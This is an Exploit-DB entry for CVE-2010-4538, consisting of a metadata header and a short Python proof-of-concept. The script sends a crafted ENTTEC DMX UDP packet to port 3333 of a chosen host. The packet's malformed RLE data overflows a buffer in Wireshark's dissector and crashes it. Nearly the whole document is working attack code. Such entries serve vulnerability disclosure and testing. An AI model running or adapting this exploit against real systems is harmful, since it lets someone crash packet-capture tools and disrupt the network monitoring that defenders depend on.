Wireshark - ENTTEC DMX Data RLE Buffer Overflow

Author: non-customers crew
type: dos
platform: multiple
port: 
date_added: 2011-01-03 
date_updated: 2016-11-12 
verified: 1 
codes: CVE-2010-4538;OSVDB-70244 
tags: 
aliases:  
screenshot_url: http://www.exploit-db.com/screenshots/idlt16000/screen-shot-2011-01-04-at-120919-am.png 
application_url: http://www.exploit-db.comwireshark-win32-1.4.2.exe

# source: https://www.securityfocus.com/bid/45634/info

#!/usr/bin/env python

# Wireshark ENTTEC DMX Data (UDP) Buffer Overflow PoC
# by non-customers crew in 2010
# http://rock-madrid.com/

import socket, sys

try:
  host = sys.argv[1]
except:
  print "usage: " + sys.argv[0] + " <host>"
  sys.exit(2)

port = 3333
addr = (host, port)

data  = "ESDD\x10\x20\x04"
data += "\x00\x0c"
data += "\xfe\xff\x41"
data += "\xfe\xff\x42"
data += "\xfe\xff\x43"
data += "\xfe\xff\x44"

udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
  udps.sendto(data, addr)
except:
  print "can't lookup host"
  sys.exit(1)

udps.close()
sys.exit(0)